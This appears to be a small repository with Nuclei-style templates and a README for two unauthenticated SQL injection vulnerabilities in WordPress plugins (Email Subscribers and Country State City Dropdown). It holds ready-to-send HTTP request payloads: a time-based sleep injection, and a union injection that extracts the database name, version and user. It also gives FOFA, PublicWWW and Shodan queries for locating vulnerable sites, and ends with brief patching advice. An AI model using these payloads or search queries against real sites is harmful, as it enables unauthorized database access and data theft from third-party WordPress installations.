├── CVE-2024-2876.yaml ├── CVE-2024-3495.yaml └── README.md /CVE-2024-2876.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2024-2876 2 | 3 | info: 4 | name: SQL Injection Wordpress [CVE-2024-2876] 5 | author: ghost_sec 6 | severity: critical 7 | metadata: 8 | verified: true 9 | max-request: 1 10 | tags: github.com/fa-rrel 11 | 12 | http: 13 | - raw: 14 | - | 15 | @timeout: 20s 16 | POST /wp-admin/admin-post.php HTTP/1.1 17 | Host: {{Hostname}} 18 | Content-Type: application/x-www-form-urlencoded 19 | 20 | page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111 21 | 22 | matchers: 23 | - type: dsl 24 | dsl: 25 | - 'duration>=4' 26 | - 'status_code == 200' 27 | - 'contains(header, "application/json")' 28 | - 'contains_all(body, "bulk_action", "_sent", "errortype")' 29 | condition: and 30 | -------------------------------------------------------------------------------- /CVE-2024-3495.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2024-3495 2 | 3 | info: 4 | name: Wordpress Country State City Dropdown ===> SQL Injection PART II 5 | author: ghost_sec 6 | severity: critical 7 | metadata: 8 | verified: true 9 | max-request: 2 10 | tags: github.com/fa-rrel ==> WHAT DO YOU THINK ABOUT ME ? 11 | 12 | variables: 13 | num: "999999999" 14 | 15 | http: 16 | - raw: 17 | - | 18 | GET / HTTP/1.1 19 | Host: {{Hostname}} 20 | 21 | - | 22 | POST /wp-admin/admin-ajax.php HTTP/1.1 23 | Host: {{Hostname}} 24 | Content-Type: application/x-www-form-urlencoded 25 | 26 | action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,(select%20md5({{num}})),0x7c76657273696f6e3a,(select%20md5({{num}})),0x7c757365723a,user()),2,3--+- 27 | 28 | matchers: 29 | - type: word 30 | part: body_2 31 | words: 32 | - '{{md5(num)}}' 33 | 34 | extractors: 35 | - type: regex 36 | name: nonce 37 | group: 1 38 | regex: 39 | - '"nonce":"(\S*)"' 40 | internal: true 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Description CVE-2024-2876 2 | The Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection 3 | via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient 4 | preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. 5 | 6 | ### Description CVE-2024-3495 7 | The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. 8 | 9 | ### Query CVE-2024-2876 10 | - FOFA : body="/wp-content/plugins/email-subscribers/" 11 | - publicwww : "/wp-content/plugins/email-subscribers/" 12 | ### Query CVE-2024-3495 13 | - FOFA : body="/wp-content/plugins/country-state-city-auto-dropdown" && header="HTTP/1.1 200 OK" 14 | - Publicwww : "/wp-content/plugins/country-state-city-auto-dropdown" 15 | - shodan : "http.title:admin-ajax.php" 16 | 17 | ### Proof of concept CVE-2024-2876 18 | ```bash 19 | @timeout: 20s (using burpsuite) 20 | POST /wp-admin/admin-post.php HTTP/1.1 21 | Host: {{Hostname}} 22 | Content-Type: application/x-www-form-urlencoded 23 | 24 | page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111 25 | ``` 26 | ### Proof of concept CVE 2024-CVE-2024-3495 27 | ```bash 28 | POST /wp-admin/admin-ajax.php HTTP/1.1 29 | Host: 30 | Accept-Encoding: gzip, deflate 31 | Accept: */* 32 | Accept-Language: en-US;q=0.9,en;q=0.8 33 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 34 | Connection: close 35 | Cache-Control: max-age=0 36 | Content-Type: application/x-www-form-urlencoded 37 | Content-Length: 172 38 | 39 | action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+- 40 | ``` 41 | 42 | ### How to fix ? for [CVE-2024-2876] 43 | - Since all versions up to 5.7.14 were detected with the CVE, it’s recommended for users to upgrade the Email Subscribers by Icegram Express plug-in to version 5.7.15 (or the most recent release 5.7.19). 44 | - Patchstack users have the option to enable automatic updates specifically for vulnerable plugins. 45 | - Implement a WAF/WAAP solution as an additional layer of protection. The advantage of such solutions is that even if the vulnerability is new and unknown (0-day), it may still prevent attacks by detecting exploitation patterns and techniques. 46 | 47 | ### Bounty Info [CVE-2024-2876] 48 | https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by-icegram-express-wordpress-plugin/ 49 | --------------------------------------------------------------------------------